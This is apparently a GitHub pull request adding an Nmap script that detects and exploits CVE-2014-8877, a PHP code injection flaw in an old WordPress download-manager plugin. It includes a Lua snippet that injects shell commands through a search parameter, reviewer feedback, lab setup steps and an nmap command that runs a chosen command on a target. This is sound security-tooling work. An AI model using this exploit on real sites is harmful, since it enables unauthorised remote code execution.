Add script for detecting and exploiting vulnerability in Wordpress CM Do... #38
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… Download Manager plugin (CVE-2014-8877)
| -- exploit the vulnerability | ||
| if cmd ~= nil then | ||
| -- wrap cmd with pattern which is used to filter out only relevant output from the response | ||
| req = genHttpReq(host, port, uri, 'echo ZZZ;'..cmd..';echo ZZZ;') |
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You could pick a pseudo-random string, maybe with a hash of the command sent instead of ZZZ (just to avoid to miss part of the result if it includes ZZZ).
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@mzet- Sorry for the delay in reviewing this. Unfortunately, it has false positive problems. If the page requested echoes the request URI at all, then the check will be true, since the check is a simple echo function. Here are the changes I would like to see before we could include this:
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Guys, I've finally found some time to incorporate your feedback:
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Overview
Following script detects & exploits CVE-2014-8877 vulnerability in Wordpress CM Download Manager plugin
(https://wordpress.org/plugins/cm-download-manager/). Versions <= 2.0.0 are affected.
Vulnerability allows to inject arbitrary PHP code via CMDsearch param. The script simply injects system() function with OS shell command of choice (provided as script's parameter) as an argument.
Preparing testing environment
To prepare local testing environment following steps should be performed:
svn co -r 1007950 http://plugins.svn.wordpress.org/cm-download-manager/trunk/ cm-dw-managerfind cm-dw-manager/ -type d -name .svn -print0 | xargs -0 rm -rf; zip -r cm-download-manager.zip cm-dw-manager/wp-content/pluginsdirectory of your Wordpress installation. Unzip. Activate in admin panel.Running the script
Running the script:
nmap -P0 -p80 -n --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",
http-vuln-cve2014-8877.uri="/wordpress"
Where 'cmd' parameter is shell command for execution and 'uri' is path to your Wordpress installation.